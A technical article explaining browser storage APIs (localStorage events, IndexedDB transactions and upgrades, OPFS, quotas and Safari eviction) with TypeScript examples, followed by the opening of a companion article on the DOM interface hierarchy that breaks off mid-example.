**Why synchronous?** The spec was written in 2009 when storage needs were simpler and the main thread was less contended. The synchronous API is also why the spec recommends a conservative 5 MiB limit—larger quotas would make blocking worse. The spec literally warns: "User agents should limit the total amount of space allowed for storage areas."

### Storage Events: Cross-Tab Communication

When localStorage changes, the browser fires a `storage` event on **every other same-origin window**—never on the originating tab:

```typescript collapse={17-24}
// Tab A: writes data
localStorage.setItem("theme", "dark")
// No storage event fires in Tab A

// Tab B: receives the change
window.addEventListener("storage", (event) => {
  // event.key        - "theme"
  // event.oldValue   - "light" (previous value, or null)
  // event.newValue   - "dark" (new value, or null if removed)
  // event.url        - URL of the tab that made the change
  // event.storageArea - reference to localStorage or sessionStorage

  if (event.key === "theme") {
    applyTheme(event.newValue)
  }
})

// Cross-tab messaging pattern: broadcast via localStorage
function broadcast(channel: string, data: unknown) {
  localStorage.setItem(`__msg_${channel}`, JSON.stringify({ data, timestamp: Date.now() }))
  // Clean up to avoid filling storage
  localStorage.removeItem(`__msg_${channel}`)
}
```

**Edge case**: The `storage` event fires even when `newValue === oldValue`—setting a key to its current value still triggers events on other tabs. The event fires after the storage area changes, so by the time a listener runs, `localStorage.getItem(event.key)` may already reflect a subsequent change.

> **BroadcastChannel alternative**: For cross-tab messaging without touching storage, use `BroadcastChannel`. It doesn't persist data and avoids I/O overhead. localStorage storage events are a legacy workaround from before BroadcastChannel existed.

### Edge Cases and Failure Modes

**QuotaExceededError**: Thrown when `setItem()` exceeds the ~5 MiB limit. The spec says: "If it couldn't set the new value, the method must throw a 'QuotaExceededError' DOMException."

```typescript
try {
  localStorage.setItem("key", largeValue)
} catch (e) {
  if (e instanceof DOMException && e.name === "QuotaExceededError") {
    // Storage full—evict old entries or warn user
  }
}
```

**Private browsing**: In all modern browsers, localStorage works in private/incognito mode but data is ephemeral—deleted when the private window closes. Safari previously threw `QuotaExceededError` on any `setItem` in private mode (fixed in Safari 11+).

**Disabled storage**: Users can disable web storage entirely. Feature detection is required:

```typescript
function isStorageAvailable(): boolean {
  try {
    const test = "__storage_test__"
    localStorage.setItem(test, test)
    localStorage.removeItem(test)
    return true
  } catch {
    return false
  }
}
```

**5 MiB is in UTF-16 code units**: The storage limit is typically measured in UTF-16 code units (2 bytes each), so 5 MiB allows ~2.5 million characters. Non-BMP characters consume two code units each.

---

## IndexedDB: Transactional Object Store

[IndexedDB](https://www.w3.org/TR/IndexedDB-3/) (W3C, version 3.0) is an asynchronous, transactional, indexed object store designed for structured data at scale. It uses the structured clone algorithm for serialization, supports multi-column indexes, and provides ACID-like (Atomicity, Consistency, Isolation, Durability) transactions within a single origin.

### Data Model

<figure>

![IndexedDB data model: databases contain object stores, which contain indexes for query optimization](./indexeddb-data-model-databases-contain-object-stores-which-contain-indexes-for-q.svg)

<figcaption>IndexedDB data model: databases contain object stores, which contain indexes for query optimization</figcaption>

</figure>

- **Database**: Named container with a version number. Multiple databases per origin are allowed
- **Object store**: Named collection of records (analogous to a table). Records are key-value pairs where values are structured-cloneable objects
- **Index**: Secondary key path into an object store, enabling efficient queries on non-primary-key fields
- **Key**: Every record has a key—either an explicit `keyPath` property, an out-of-line key, or an auto-incrementing key generator

**Valid key types** (from the spec, in sort order): numbers (except NaN), Date objects (except invalid), strings, ArrayBuffer/typed arrays, and arrays (which sort element-by-element, enabling compound keys).

### Database Versioning and Schema Upgrades

IndexedDB uses an integer version scheme. Schema changes (creating/deleting object stores and indexes) can **only** happen inside an `upgradeneeded` event:

```typescript collapse={1-3, 29-33}
// Helper for promisifying (collapsed)
function openDB(name: string, version: number): Promise<IDBDatabase> {
  return new Promise((resolve, reject) => {
    const request = indexedDB.open("myapp", 3)

    request.onupgradeneeded = (event) => {
      const db = request.result
      const oldVersion = event.oldVersion

      // Incremental migrations based on old version
      if (oldVersion < 1) {
        const users = db.createObjectStore("users", { keyPath: "id" })
        users.createIndex("by-email", "email", { unique: true })
      }
      if (oldVersion < 2) {
        const orders = db.createObjectStore("orders", {
          keyPath: "id",
          autoIncrement: true,
        })
        orders.createIndex("by-date", "createdAt")
      }
      if (oldVersion < 3) {
        // Add index to existing store
        const users = request.transaction!.objectStore("users")
        users.createIndex("by-role", "role")
      }
    }

    // Resolve/reject handlers (collapsed)
    request.onsuccess = () => resolve(request.result)
    request.onerror = () => reject(request.error)
  })
}
```

**Design reasoning**: The version-based upgrade mechanism exists because IndexedDB is a client-side database—you can't run migrations on all clients simultaneously like a server DB. Each client may be at any historical version. The `upgradeneeded` event fires with `oldVersion` so you can apply incremental migrations. The `versionchange` transaction has exclusive access to the database, preventing concurrent schema modifications.

### The `blocked` / `versionchange` Problem

Version upgrades require exclusive database access. If other tabs have open connections, the upgrade can't proceed:

```typescript
// Tab A: has an open connection
const db = await openDB("myapp", 2)

// Tab B: tries to upgrade to version 3
const request = indexedDB.open("myapp", 3)

// Step 1: Tab A receives versionchange event
db.onversionchange = () => {
  db.close() // Must close to unblock Tab B
  // Optionally: alert user to reload
}

// Step 2: If Tab A doesn't close, Tab B receives blocked event
request.onblocked = () => {
  // Upgrade can't proceed until Tab A closes its connection
  console.warn("Database upgrade blocked by another tab")
}
```

**This is a common production bug**: If you don't handle `onversionchange`, your app silently blocks other tabs from upgrading. Always close the database on `versionchange`.

### Transactions

IndexedDB provides three transaction modes:

| Mode            | Concurrent Access     | Object Store Access  | Use Case           |
| --------------- | --------------------- | -------------------- | ------------------ |
| `readonly`      | Multiple concurrent   | Read only            | Queries, reporting |
| `readwrite`     | Exclusive per store   | Read + write         | Mutations          |
| `versionchange` | Exclusive (entire DB) | Schema changes + R/W | Upgrades only      |

```typescript collapse={1-3}
// Assume db is already opened (collapsed)
const db = await openDB("myapp", 1)

const tx = db.transaction(["users", "orders"], "readwrite")
const users = tx.objectStore("users")
const orders = tx.objectStore("orders")

// All operations within this transaction are atomic
await wrapRequest(users.put({ id: "u1", name: "Alice", role: "admin" }))
await wrapRequest(orders.add({ userId: "u1", item: "Widget", createdAt: new Date() }))

tx.oncomplete = () => console.log("Transaction committed")
tx.onerror = () => console.error("Transaction failed:", tx.error)
tx.onabort = () => console.warn("Transaction aborted")
```

#### Transaction Lifetime: The Critical Gotcha

Transactions auto-commit when the event loop returns to its idle state **after all pending requests are resolved**. This means inserting any async operation that yields to the event loop (like `fetch`, `setTimeout`, or `await`-ing a non-IDB promise) will cause the transaction to become inactive:

```typescript
const tx = db.transaction("users", "readwrite")
const store = tx.objectStore("users")

// ✅ Works: back-to-back IDB operations keep transaction active
store.put({ id: "1", name: "Alice" })
store.put({ id: "2", name: "Bob" })

// ❌ Breaks: fetch yields to the event loop, transaction becomes inactive
store.put({ id: "1", name: "Alice" })
const data = await fetch("/api/user/2") // Transaction dies here
store.put(await data.json()) // TransactionInactiveError
```

**The spec says**: A transaction is active when it's first created, becomes inactive when "control returns to the event loop", and reactivates when a success/error event fires for one of its requests. Once all requests complete and control returns to the event loop with no pending requests, the transaction auto-commits.

**Fix**: Gather all data before starting the transaction, or use separate transactions:

```typescript
// ✅ Fetch first, then transact
const data = await fetch("/api/users").then((r) => r.json())

const tx = db.transaction("users", "readwrite")
const store = tx.objectStore("users")
for (const user of data) {
  store.put(user)
}
```

### Durability Hints

IndexedDB 3.0 introduced durability hints via the `durability` option on transactions:

```typescript
// "relaxed" (default in Chrome 121+, Firefox 40+, Safari): OS may buffer writes
const tx = db.transaction("users", "readwrite", { durability: "relaxed" })

// "strict": flush to persistent storage before reporting complete
const tx2 = db.transaction("users", "readwrite", { durability: "strict" })
```

**Performance impact**: Relaxed durability provides **3–30x throughput improvement** by deferring OS buffer flushes. The trade-off: data written in a relaxed transaction may be lost if the OS crashes (not just the browser—power failure or kernel panic). Browser crashes and tab crashes are still safe because the browser process commits to its WAL (Write-Ahead Log) before reporting success.

**Design reasoning**: Most web apps don't need `strict` durability—the data is a cache of server state. Relaxed durability matches what users expect: if the power goes out, losing the last few seconds of client-side data is acceptable. `strict` matters for apps where the browser is the primary data store (offline-first productivity tools, local databases).

### Structured Clone: What Can Be Stored

IndexedDB serializes values using the [structured clone algorithm](https://html.spec.whatwg.org/multipage/structured-data.html#structuredserializeinternal), which supports more types than JSON:

**Cloneable** (stored correctly):

- Primitives (string, number, boolean, null, undefined, BigInt)
- Date, RegExp (except `lastIndex`)
- ArrayBuffer, typed arrays, DataView
- Blob, File, FileList
- ImageBitmap, ImageData
- Map, Set
- Array, plain objects (own enumerable properties)

**Not cloneable** (throws `DataCloneError`):

- Functions and closures
- DOM nodes
- Symbols
- Property descriptors (getters, setters)
- Prototype chains (class instances lose their prototype)
- Error objects (in some older browsers)

```typescript
// ✅ Rich objects survive structured clone
store.put({
  id: "1",
  created: new Date(), // Date preserved (JSON would stringify)
  tags: new Set(["a", "b"]), // Set preserved (JSON would lose it)
  binary: new Uint8Array([1, 2]), // Binary preserved (JSON can't do this)
})

// ❌ Class instances lose their prototype
class User {
  greet() {
    return "hi"
  }
}
store.put({ id: "1", user: new User() })
// Retrieved object has no greet() method—it's a plain object
```

### Indexes and Querying

Indexes enable efficient lookups on non-primary-key fields:

```typescript collapse={1-5}
// Schema setup (collapsed)
const store = db.createObjectStore("products", { keyPath: "id" })
store.createIndex("by-category", "category")
store.createIndex("by-price", "price")
store.createIndex("by-cat-price", ["category", "price"]) // Compound index

// Query by index using key ranges
const tx = db.transaction("products", "readonly")
const index = tx.objectStore("products").index("by-price")

// Exact match
const request = index.get(29.99)

// Range queries with IDBKeyRange
index.getAll(IDBKeyRange.bound(10, 50)) // 10 ≤ price ≤ 50
index.getAll(IDBKeyRange.bound(10, 50, true, false)) // 10 < price ≤ 50
index.getAll(IDBKeyRange.lowerBound(100)) // price ≥ 100
index.getAll(IDBKeyRange.upperBound(20)) // price ≤ 20

// Compound index query: category="electronics" AND price 50-200
const compoundIndex = tx.objectStore("products").index("by-cat-price")
compoundIndex.getAll(IDBKeyRange.bound(["electronics", 50], ["electronics", 200]))
```

**Cursor-based iteration** for large result sets:

```typescript
const tx = db.transaction("products", "readonly")
const index = tx.objectStore("products").index("by-price")

const cursor = index.openCursor(IDBKeyRange.lowerBound(50), "next")

cursor.onsuccess = () => {
  const result = cursor.result
  if (result) {
    processProduct(result.value)
    result.continue() // Move to next record
  }
}
```

### Edge Cases and Failure Modes

**Storage corruption**: Can occur from repeated clearing during active I/O operations, or from structured clone failures on upgrade. Recovery requires deleting and rebuilding the database:

```typescript
const deleteRequest = indexedDB.deleteDatabase("myapp")
deleteRequest.onsuccess = () => {
  // Recreate from server or defaults
}
deleteRequest.onblocked = () => {
  // Other tabs still have open connections
}
```

**QuotaExceededError in IndexedDB**: Unlike localStorage, this can happen during any write operation—including during transactions. A failed write aborts the entire transaction:

```typescript
tx.onerror = (event) => {
  if (tx.error?.name === "QuotaExceededError") {
    // Entire transaction was rolled back
    // Evict old data and retry
  }
}
```

**Private browsing limits**: Chrome limits IndexedDB to ~32 MiB per database and ~500 MiB total in incognito. All data is deleted when the incognito window closes.

**IDB on the main thread vs workers**: IndexedDB is available in web workers (including service workers and shared workers), which avoids main-thread I/O entirely. For large writes, always use a worker:

```typescript title="worker.ts"
// Heavy IndexedDB writes in a web worker—zero main thread impact
self.onmessage = async (event) => {
  const db = await openDB("bulk", 1)
  const tx = db.transaction("data", "readwrite")
  for (const record of event.data.records) {
    tx.objectStore("data").put(record)
  }
  tx.oncomplete = () => self.postMessage({ status: "done" })
}
```

---

## Origin Private File System (OPFS)

The [Origin Private File System](https://fs.spec.whatwg.org/#origin-private-file-system) (WHATWG File System Standard) provides a sandboxed file system per origin with **synchronous access in workers**—the fastest storage API available in browsers.

### Why OPFS Exists

IndexedDB's structured clone overhead and transaction model add latency that matters for compute-heavy workloads. OPFS provides raw byte access:

- **SQLite in the browser**: Projects like [sql.js](https://github.com/nicholasgross/nicholasgross.github.io) and the official [SQLite Wasm](https://sqlite.org/wasm) build use OPFS as their backing store
- **Wasm state persistence**: Emscripten and other Wasm toolchains map OPFS to a virtual filesystem
- **Large binary data**: Image/video processing pipelines that need direct byte access without serialization overhead

### API Surface

OPFS has two access modes:

```typescript
// Async access (available on main thread and workers)
const root = await navigator.storage.getDirectory()
const fileHandle = await root.getFileHandle("data.bin", { create: true })

// Async read/write via File and WritableStream
const file = await fileHandle.getFile() // Returns a File (Blob subclass)
const writable = await fileHandle.createWritable()
await writable.write(new Uint8Array([1, 2, 3]))
await writable.close()
```

```typescript title="worker.ts"
// Synchronous access (workers only)—MUCH faster
const root = await navigator.storage.getDirectory()
const fileHandle = await root.getFileHandle("data.bin", { create: true })

const syncHandle = await fileHandle.createSyncAccessHandle()

// Direct byte operations—no promises, no structured clone
const buffer = new ArrayBuffer(1024)
syncHandle.read(buffer, { at: 0 }) // Read 1024 bytes from offset 0
syncHandle.write(new Uint8Array([1, 2, 3]), { at: 0 })
syncHandle.flush() // Ensure data is written to disk
syncHandle.close() // Release the lock
```

**Design reasoning**: `createSyncAccessHandle()` is restricted to workers because synchronous I/O on the main thread would block user interaction—the same problem that makes large localStorage operations problematic. By limiting sync access to workers, the spec provides the performance of synchronous I/O without the main-thread penalty.

**Limitations**: OPFS files are invisible to the user (no file picker), not shareable across origins, and count against the same origin quota as IndexedDB and Cache API.

---

## Storage Quotas and Eviction

The [WHATWG Storage Standard](https://storage.spec.whatwg.org/) defines a unified quota model for all script-writable storage (IndexedDB, Cache API, OPFS). Web Storage (localStorage/sessionStorage) has its own separate ~5 MiB limit.

### Quota by Browser

| Browser     | Origin Quota                 | Eviction Trigger                 | Notes                                                                                             |
| ----------- | ---------------------------- | -------------------------------- | ------------------------------------------------------------------------------------------------- |
| **Chrome**  | ~60% of total disk           | Storage pressure                 | Calculated as 80% disk × 75% per origin. Static—doesn't consider free space (anti-fingerprinting) |
| **Firefox** | Up to 2 GiB per eTLD+1 group | Global limit: 50% of free disk   | Group limit is min(20% of global, 2 GiB). Minimum 10 MiB per group                                |
| **Safari**  | 1 GiB initially              | Prompts user for more on desktop | Safari 17+: up to 80% in browser apps, 20% in WKWebView                                           |

### The StorageManager API

```typescript
// Check current usage
const estimate = await navigator.storage.estimate()
console.log(`Used: ${(estimate.usage! / 1024 / 1024).toFixed(1)} MiB`)
console.log(`Quota: ${(estimate.quota! / 1024 / 1024).toFixed(0)} MiB`)
console.log(`Available: ${((estimate.quota! - estimate.usage!) / 1024 / 1024).toFixed(0)} MiB`)

// Request persistent storage (prevents eviction under pressure)
const persisted = await navigator.storage.persist()
if (persisted) {
  console.log("Storage marked persistent—won't be evicted automatically")
} else {
  console.log("Browser denied persistence request")
}

// Check persistence status
const isPersisted = await navigator.storage.persisted()
```

**Persistent vs best-effort**: By default, all storage is "best-effort"—the browser can evict it under storage pressure without asking the user. Calling `navigator.storage.persist()` requests "persistent" mode, which requires user approval (explicit or implicit) before the browser can delete the data. Chrome auto-grants persistence for installed PWAs (Progressive Web Apps) and sites with high engagement; Firefox shows a permission prompt; Safari does not support the persistence API.

### Safari's 7-Day Eviction (ITP)

Since Safari 13.1 (March 2020), Intelligent Tracking Prevention (ITP) deletes **all** script-writable storage after 7 days without user interaction for a given origin. This affects localStorage, IndexedDB, Cache API, and service worker registrations.

**What counts as "user interaction"**: The user must tap or click on the site (not just visit via redirect). Navigation via `window.open()` or link decoration does not reset the timer.

**Exempt scenarios**:

- PWAs added to the home screen
- Sites the user has explicitly interacted with in the last 7 days

**Impact**: Any offline-first app on Safari that the user doesn't visit weekly will lose all client-side data. Server-side persistence is mandatory for Safari users.

### Storage Partitioning

Modern browsers partition storage by top-level site to prevent cross-site tracking:

**Chrome (115+)**: Third-party storage is partitioned by the top-level site. An iframe from `cdn.example.com` embedded on `siteA.com` gets different storage than the same iframe on `siteB.com`. This affects IndexedDB, Cache API, localStorage, and service workers.

**Firefox (103+)**: State Partitioning double-keys all storage by (resource origin, top-level eTLD+1). Enabled by default in Enhanced Tracking Protection.

**Safari**: Permanently blocks third-party storage access. The [Storage Access API](https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API) allows embedded contexts to request first-party storage access after a user gesture.

**Practical impact**: If your app uses iframes or third-party embeds that rely on shared storage, storage partitioning breaks those assumptions. Use the Storage Access API or `document.requestStorageAccess()` for legitimate cross-site storage needs.

---

## Practical Patterns

### Wrapper with Fallback

```typescript collapse={1-4, 25-30}
// Type definitions (collapsed)
type StorageValue = string | number | boolean | object | null
interface StorageAdapter {
  get(key: string): Promise<StorageValue>
  set(key: string, value: StorageValue): Promise<void>
}

// localStorage adapter with quota handling
const localStorageAdapter: StorageAdapter = {
  async get(key) {
    const raw = localStorage.getItem(key)
    return raw ? JSON.parse(raw) : null
  },
  async set(key, value) {
    try {
      localStorage.setItem(key, JSON.stringify(value))
    } catch (e) {
      if (e instanceof DOMException && e.name === "QuotaExceededError") {
        // Evict oldest entries and retry, or fall back to IndexedDB
        throw new Error("localStorage quota exceeded")
      }
      throw e
    }
  },
}

// Usage (collapsed)
const adapter = isStorageAvailable() ? localStorageAdapter : indexedDBAdapter
await adapter.set("prefs", { theme: "dark", lang: "en" })
```

### IndexedDB Promise Wrapper

The raw IndexedDB API uses event callbacks. A thin promise wrapper reduces boilerplate:

```typescript
function wrapRequest<T>(request: IDBRequest<T>): Promise<T> {
  return new Promise((resolve, reject) => {
    request.onsuccess = () => resolve(request.result)
    request.onerror = () => reject(request.error)
  })
}

function wrapTransaction(tx: IDBTransaction): Promise<void> {
  return new Promise((resolve, reject) => {
    tx.oncomplete = () => resolve()
    tx.onerror = () => reject(tx.error)
    tx.onabort = () => reject(tx.error || new DOMException("Transaction aborted"))
  })
}

// Usage
const tx = db.transaction("users", "readwrite")
tx.objectStore("users").put({ id: "1", name: "Alice" })
await wrapTransaction(tx) // Resolves when transaction commits
```

> **Consider libraries**: For production use, [idb](https://github.com/nicholasgross/nicholasgross.github.io) by Jake Archibald provides a well-tested promise wrapper. [Dexie.js](https://dexie.org/) adds query builder syntax and live queries. These eliminate the boilerplate without hiding important semantics.

### Cache Invalidation with Version Keys

```typescript
// Simple TTL-based invalidation for localStorage
function setWithTTL(key: string, value: unknown, ttlMs: number) {
  const entry = { value, expiry: Date.now() + ttlMs }
  localStorage.setItem(key, JSON.stringify(entry))
}

function getWithTTL<T>(key: string): T | null {
  const raw = localStorage.getItem(key)
  if (!raw) return null

  const entry = JSON.parse(raw)
  if (Date.now() > entry.expiry) {
    localStorage.removeItem(key)
    return null
  }
  return entry.value
}
```

---

## Conclusion

Browser storage APIs form a spectrum from simple-but-blocking (localStorage) to powerful-but-complex (IndexedDB) to raw-but-fast (OPFS). The right choice depends on your data shape, access patterns, and threading requirements—not just capacity.

localStorage works for small, string-serializable preferences that need cross-tab visibility. IndexedDB handles structured app data at scale, but its transaction lifetime rules, version upgrade protocol, and `blocked`/`versionchange` coordination require careful implementation. OPFS enables performance-critical workloads like client-side SQLite. The Cache API bridges service worker caching (covered in the [companion article](../service-workers-and-cache-api/README.md)).

The quota model is the unifying constraint: all script-writable storage (except Web Storage's separate ~5 MiB) shares a per-origin budget that varies dramatically by browser. Safari's 7-day ITP eviction makes server-side persistence non-optional for any serious app. Storage partitioning changes the rules for third-party contexts. Design for eviction, not just persistence.

---

## Appendix

### Prerequisites

- JavaScript Promises and async/await
- Basic understanding of the same-origin policy
- Familiarity with JSON serialization

### Terminology

- **Origin**: Scheme + host + port tuple (e.g., `https://example.com:443`). Storage is scoped per origin
- **eTLD+1**: Effective Top-Level Domain plus one label (e.g., `example.com` for `sub.example.com`). Used for quota grouping in Firefox
- **Structured clone**: Serialization algorithm that supports more types than JSON (Date, Map, Set, ArrayBuffer, Blob). Used by IndexedDB and `postMessage()`
- **WAL (Write-Ahead Log)**: Journaling strategy where changes are written to a log before applying to the main data file. Used by IndexedDB implementations for crash recovery
- **OPFS**: Origin Private File System—a sandboxed, per-origin virtual file system with synchronous access in workers
- **ITP**: Intelligent Tracking Prevention—Safari's privacy feature that restricts cross-site tracking and evicts storage after 7 days without interaction
- **best-effort storage**: Default storage mode where the browser can evict data under storage pressure without user consent
- **persistent storage**: Storage mode (requested via `navigator.storage.persist()`) where user consent is required before eviction

### Summary

- **localStorage** is synchronous, blocks the main thread, stores DOMString KV pairs, has a ~5 MiB limit, and enables cross-tab communication via `storage` events
- **sessionStorage** shares the same API but is scoped to a single tab and dies when the tab closes
- **IndexedDB 3.0** provides async transactional storage with structured clone serialization, multi-column indexes, and cursor-based iteration. Transactions auto-commit when the event loop is idle—inserting non-IDB async operations kills them
- **OPFS** offers the fastest storage via synchronous `FileSystemSyncAccessHandle` in workers—ideal for SQLite/Wasm workloads
- **Quota** is per-origin: Chrome ~60% of disk, Firefox up to 2 GiB per group, Safari 1 GiB with 7-day ITP eviction. `navigator.storage.persist()` requests eviction protection
- **Storage partitioning** (Chrome 115+, Firefox 103+, Safari) isolates third-party storage by top-level site, breaking cross-site storage sharing

### References

**Specifications (Primary Sources)**

- [Storage Standard](https://storage.spec.whatwg.org/) - WHATWG Living Standard (quota model, storage buckets, persistence)
- [Web Storage - HTML Standard](https://html.spec.whatwg.org/multipage/webstorage.html) - WHATWG (localStorage, sessionStorage)
- [Indexed Database API 3.0](https://www.w3.org/TR/IndexedDB-3/) - W3C (transactions, object stores, indexes, versioning)
- [File System Standard](https://fs.spec.whatwg.org/) - WHATWG (OPFS, FileSystemSyncAccessHandle)
- [Service Worker Specification](https://w3c.github.io/ServiceWorker/) - W3C (Cache interface, CacheStorage)

**Official Documentation**

- [Storage quotas and eviction criteria - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria)
- [IndexedDB API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)
- [Web Storage API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)
- [Origin Private File System - MDN](https://developer.mozilla.org/en-US/docs/Web/API/File_System_API/Origin_private_file_system)
- [Structured clone algorithm - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm)
- [Storage Access API - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Storage_Access_API)

**Core Maintainer Content and Technical Resources**

- [Storage for the Web - web.dev](https://web.dev/articles/storage-for-the-web) - Chrome DevRel overview of storage APIs
- [IndexedDB Durability Mode Now Defaults to Relaxed - Chrome Blog](https://developer.chrome.com/blog/indexeddb-durability-mode-now-defaults-to-relaxed)
- [Storage Partitioning - Chrome Privacy Sandbox](https://developers.google.com/privacy-sandbox/cookies/storage-partitioning)
- [Updates to Storage Policy - WebKit Blog](https://webkit.org/blog/14403/updates-to-storage-policy/)
- [Full Third-Party Cookie Blocking and More - WebKit Blog](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/) - Safari ITP storage cap details
- [State Partitioning - MDN](https://developer.mozilla.org/en-US/docs/Web/Privacy/Guides/State_Partitioning) - Firefox storage partitioning
- [SQLite Wasm](https://sqlite.org/wasm) - Official SQLite WebAssembly build using OPFS

---

## DOM API Essentials: Structure, Traversal, and Mutation

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/browser-apis/dom-api-essentials
**Category:** Web Foundations / Browser APIs
**Description:** A comprehensive exploration of DOM APIs, examining the interface hierarchy design decisions, selector return type differences, and the modern Observer pattern for efficient DOM monitoring. The DOM Standard (WHATWG Living Standard, last updated January 2026) defines a layered inheritance model where each interface adds specific capabilities while maintaining backward compatibility—understanding this design reveals why certain methods exist on Element rather than HTMLElement and why selector APIs return different collection types with distinct liveness semantics.

# DOM API Essentials: Structure, Traversal, and Mutation

A comprehensive exploration of DOM APIs, examining the interface hierarchy design decisions, selector return type differences, and the modern Observer pattern for efficient DOM monitoring. The [DOM Standard](https://dom.spec.whatwg.org/) (WHATWG Living Standard, last updated January 2026) defines a layered inheritance model where each interface adds specific capabilities while maintaining backward compatibility—understanding this design reveals why certain methods exist on `Element` rather than `HTMLElement` and why selector APIs return different collection types with distinct liveness semantics.

<figure>

![DOM interface inheritance hierarchy showing Element as the universal base for all markup types](./dom-interface-inheritance-hierarchy-showing-element-as-the-universal-base-for-al.svg)

<figcaption>DOM interface inheritance hierarchy showing Element as the universal base for all markup types</figcaption>

</figure>

## Abstract

The Document Object Model (DOM) API exposes document structure through a **layered interface hierarchy** designed for cross-markup compatibility. The core mental model:

<figure>

![DOM APIs organize around three concerns: interface hierarchy for capability separation, collection types for liveness semantics, and Observer pattern for efficient change detection](./dom-apis-organize-around-three-concerns-interface-hierarchy-for-capability-separ.svg)

<figcaption>DOM APIs organize around three concerns: interface hierarchy for capability separation, collection types for liveness semantics, and Observer pattern for efficient change detection</figcaption>

</figure>

**Key design decisions:**

- **Element vs HTMLElement split**: Methods like `querySelector()` and `classList` live on Element (not HTMLElement) because they must work across HTML, SVG, and MathML—the hierarchy reflects cross-markup requirements, not implementation convenience
- **Live vs static collections**: `getElementsByClassName()` returns live HTMLCollection (auto-updates), while `querySelectorAll()` returns static NodeList (snapshot)—choose based on whether you need real-time tracking or one-time processing
- **Observer async batching**: All Observer APIs deliver notifications asynchronously in batches, enabling browser-internal optimizations impossible with synchronous event listeners

---

## The DOM Interface Hierarchy

The [DOM Standard](https://dom.spec.whatwg.org/) (WHATWG Living Standard) establishes a layered inheritance model where each interface adds capabilities while remaining backward compatible with its ancestors. The spec defines the DOM as "a platform-neutral model for events, aborting activities, and node trees."

### Why Element, Not HTMLElement?

Element serves as the universal base class for all markup languages because **DOM operations must work across different document types**. Consider these scenarios:

```typescript
// This SVG circle is an Element, but NOT an HTMLElement
const circle = document.querySelector("circle")
circle.setAttribute("r", "50") // Element method works
circle.classList.add("active") // Element method works

// HTMLElement methods would fail on SVG elements
// circle.contentEditable // undefined - this is HTML-specific
// circle.dataset         // undefined - this is HTML-specific
```

The browser's internal class hierarchy looks like this:

```
EventTarget (base for all event-capable objects)
    ↓
Node (tree participation)
    ↓
Element (universal element operations)
    ├── HTMLElement (HTML-specific: contentEditable, dataset, innerText)
    ├── SVGElement (SVG-specific: SVG DOM properties)
    └── MathMLElement (MathML-specific: mathematical markup)
```

**Design insight**: Methods defined on Element work for HTML, SVG, and MathML elements. Methods requiring HTML-specific semantics live on HTMLElement. This separation ensures `querySelector()`, `getAttribute()`, and `classList` function identically whether you're manipulating `<div>`, `<svg>`, or `<math>` elements.

### Interface Responsibilities

<figure>

![Each interface layer adds specific capabilities while inheriting all parent functionality](./each-interface-layer-adds-specific-capabilities-while-inheriting-all-parent-func.svg)

<figcaption>Each interface layer adds specific capabilities while inheriting all parent functionality</figcaption>

</figure>

**[EventTarget](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget)** (`EventTarget`)

- Event registration and dispatch
- Foundation for all interactive objects
- No DOM tree awareness

**[Node](https://developer.mozilla.org/en-US/docs/Web/API/Node)** (`Node extends EventTarget`)

- Tree structure participation
- Parent/child/sibling relationships
- Node types (element, text, comment, document)
- `parentNode`, `childNodes`, `firstChild`, `lastChild`
- `appendChild()`, `removeChild()`, `insertBefore()`

**[Element](https://developer.mozilla.org/en-US/docs/Web/API/Element)** (`Element extends Node`)

- Attribute management: `getAttribute()`, `setAttribute()`, `hasAttribute()`
- CSS selector queries: `querySelector()`, `querySelectorAll()`, `matches()`, `closest()`
- Class manipulation: `classList`, `className`
- Geometry: `getBoundingClientRect()`, `scrollIntoView()`
- Namespace-aware operations for XML-based documents
- Works for HTML, SVG, MathML, and other XML vocabularies

**[HTMLElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement)** (`HTMLElement extends Element`)

- HTML-specific content: `innerText`, `outerText`
- Editability: `contentEditable`, `isContentEditable`
- Data attributes: `dataset` (access to `data-*` attributes)
- Form interaction: `autofocus`, `tabIndex`, `hidden`
- Input hints: `inputMode`, `enterKeyHint`, `autocapitalize`
- Accessibility shortcuts: `accessKey`, `title`
- Internationalization: `lang`, `dir`, `translate`

### Practical Implications

The hierarchy determines method availability at compile and runtime:

```typescript
// TypeScript enforces hierarchy
const element: Element = document.querySelector("div")!
element.classList.add("active") // ✅ Element method
element.setAttribute("role", "tab") // ✅ Element method

// @ts-error: Property 'dataset' does not exist on type 'Element'
element.dataset.userId = "123" // ❌ HTMLElement-specific

// Type narrowing required
if (element instanceof HTMLElement) {
  element.dataset.userId = "123" // ✅ Now TypeScript knows it's HTMLElement
  element.contentEditable = "true" // ✅ HTML-specific property
}

// SVG elements demonstrate the distinction
const svg = document.querySelector("svg")!
svg.classList.add("icon") // ✅ Element method works
svg.setAttribute("viewBox", "0 0 100 100") // ✅ Element method works
// svg.innerText = 'text';           // ❌ Would fail - innerText is HTMLElement-specific
```

**Why this matters**: When writing reusable utilities that manipulate both HTML and SVG elements, typing parameters as `Element` rather than `HTMLElement` ensures compatibility across markup types.

---

## Selector APIs: HTMLCollection vs NodeList

DOM selector methods return two distinct collection types with different liveness characteristics and capabilities ([HTMLCollection vs NodeList](https://www.freecodecamp.org/news/dom-manipulation-htmlcollection-vs-nodelist/)).

### Return Type Matrix

| Method                     | Return Type    | Live/Static | Node Types                         |
| -------------------------- | -------------- | ----------- | ---------------------------------- |
| `querySelectorAll()`       | NodeList       | Static      | Elements only                      |
| `getElementsByClassName()` | HTMLCollection | Live        | Elements only                      |
| `getElementsByTagName()`   | HTMLCollection | Live        | Elements only                      |
| `getElementsByName()`      | NodeList       | **Live**    | Elements only (unusual exception)  |
| `childNodes`               | NodeList       | Live        | All nodes (text, comment, element) |
| `children`                 | HTMLCollection | Live        | Elements only                      |

### HTMLCollection: Live and Limited

[HTMLCollection](https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection) maintains active references to matching elements, automatically reflecting DOM changes:

```typescript
const container = document.getElementById("list")
const items = container.getElementsByClassName("item")

console.log(items.length) // 3

// Add a new element with class 'item'
const newItem = document.createElement("div")
